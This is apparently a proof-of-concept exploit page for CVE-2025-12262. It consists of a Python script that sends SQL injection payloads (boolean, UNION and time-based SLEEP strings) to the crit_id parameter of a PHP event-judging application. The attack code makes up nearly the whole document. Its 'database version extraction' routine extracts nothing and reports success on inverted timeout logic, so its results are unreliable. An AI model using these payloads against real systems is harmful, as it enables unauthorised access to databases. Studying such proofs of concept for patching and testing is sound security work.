CVE-2025-12262 code-projects Online Event Judging System SQL注入漏洞

# CVE-2025-12262 SQL Injection PoC # Target: code-projects Online Event Judging System 1.0 # File: /edit_criteria.php # Parameter: crit_id import requests import sys target_url = "http://target.com/edit_criteria.php" # Basic SQL Injection test payload payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3-- -", "1' AND SLEEP(5)-- -", "1' AND 1=1-- -", "1' AND 1=2-- -" ] def test_sql_injection(): print("[*] Testing CVE-2025-12262 SQL Injection...") print(f"[*] Target: {target_url}") for i, payload in enumerate(payloads, 1): print(f"\n[*] Testing payload {i}: {payload}") params = { 'crit_id': payload } try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Blind SQL Injection to extract database version def extract_db_version(): print("\n[*] Attempting to extract database version...") payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(3) ELSE 0 END)-- -" params = {'crit_id': payload} try: response = requests.get(target_url, params=params, timeout=15) print("[+] Blind SQL injection confirmed!") except requests.exceptions.Timeout: print("[!] Time-based blind injection successful!") if __name__ == "__main__": test_sql_injection() extract_db_version() print("\n[*] PoC testing complete")